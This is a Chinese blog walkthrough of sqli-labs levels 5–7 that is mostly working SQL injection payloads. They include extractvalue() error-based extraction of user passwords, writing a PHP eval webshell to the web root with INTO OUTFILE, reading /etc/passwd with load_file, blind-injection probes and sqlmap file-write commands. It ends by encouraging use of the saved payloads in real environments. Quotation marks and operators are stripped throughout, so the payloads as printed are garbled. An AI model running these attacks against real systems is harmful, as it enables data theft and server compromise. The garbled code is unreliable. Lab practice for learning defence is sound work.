MySQL SQL注入实战:从报错到文件读写技巧 1. SQL注入实战从字符型报错到文件读写最近在复现SQL注入经典靶场sqli-labs的关卡5-7时发现这三关恰好构成了一个完整的技能进阶链条从基础的字符型报错注入到需要技巧的布尔盲注最终实现高危的文件读写操作。这种递进式设计特别适合用来系统掌握MySQL注入技术栈。下面我就用工程师视角拆解每个关卡的技术要点并分享几个手册上不会写的实战技巧。2. 环境准备与靶场特性2.1 靶机配置要点sqli-labs默认使用MySQL 5.x环境建议在Docker中部署以避免污染本地环境。特别注意要修改my.cnf配置[mysqld] secure-file-priv 否则后续文件操作会遇到权限错误。我在测试时发现MySQL 8.0版本对导出路径有更严格限制建议保持环境一致性。2.2 关卡设计特征Less-5单引号字符型报错注入Less-6双引号字符型报错注入Less-7文件导出型注入 三关都使用GET传参但错误回显方式不同。5-6关会显示数据库报错信息而第7关仅返回You are in...的固定提示。3. Less-5单引号报错注入实战3.1 注入点检测输入单引号触发报错You have an error in your SQL syntax... near 1 LIMIT 0,1确认存在字符型注入闭合方式为单引号。通过添加注释符验证?id1--页面正常返回说明闭合成功。3.2 报错注入利用使用extractvalue()函数触发XML解析错误?id1 and extractvalue(1,concat(0x7e,(select database())))--关键技巧0x7e(~)作为非法XML字符触发报错报错信息中会返回查询结果使用limit分页避免多行数据报错3.3 数据提取流程爆库名extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)))爆表名select group_concat(table_name) from information_schema.tables where table_schemasecurity爆字段select group_concat(column_name) from information_schema.columns where table_nameusers查数据select group_concat(username,0x3a,password) from users4. Less-6双引号注入差异处理4.1 注入特征变化输入单引号不报错双引号触发错误near 1) LIMIT 0,1说明闭合符变为双引号且多一个括号闭合。构造?id1--需要特别注意原有SQL可能包含括号。4.2 报错载荷调整将Less-5的payload中单引号改为双引号?id1 and extractvalue(1,concat(0x7e,(select database())))--但要注意字符串内引号处理concat(,(select password from users limit 1),)5. Less-7文件导出型注入突破5.1 无回显挑战该关只返回固定提示需要改用盲注或文件导出。观察报错信息near \\1 LIMIT 0,1发现需要三重闭合单引号括号反斜杠。5.2 文件写入技巧利用into outfile写shell?id1)) union select 1,?php eval($_POST[cmd]);?,3 into outfile /var/www/html/shell.php--常见问题处理路径问题通过报错显示路径或使用load_file测试权限问题确保mysql用户有写权限魔术引号使用hex编码绕过select 0x3c3f70687020406576616c28245f504f53545b636d645d293b203f3e5.3 文件读取操作读取系统文件union select 1,load_file(/etc/passwd),3--读取源码分析load_file(/var/www/html/sqli-labs/Less-7/index.php)6. 防御方案与检测技巧6.1 安全加固建议参数化查询cursor.execute(SELECT * FROM users WHERE id%s, (user_id,))过滤特殊字符$id str_replace([,,\\], , $_GET[id]);文件操作禁用secure-file-priv NULL6.2 自动化检测手法SQLMap基础检测sqlmap -u http://target.com/Less-5/?id1 --risk3 --level5文件写入检测--file-write/local/path --file-dest/remote/path延时检测盲注--techniqueT --time-sec57. 靶场通关中的高频问题文件写入失败检查清单绝对路径是否正确通过报错信息获取目录是否可写尝试/tmp目录是否包含特殊字符使用hex编码MySQL用户权限是否足够报错注入显示不全用substring分段截取substring((select password from users limit 1),1,10)使用midoffset组合mid((select group_concat(table_name) from information_schema.tables),50,50)布尔盲注判断技巧基于页面差异and (select ascii(substr(database(),1,1)))100基于响应时间and if(ascii(substr(database(),1,1))100,sleep(5),0)在真实环境测试时建议先在靶场验证payload的可用性。我习惯把常用payload保存在文本分类归档遇到类似场景可以快速调整使用。记住每个注入场景都是独特的需要根据实际响应灵活调整攻击向量。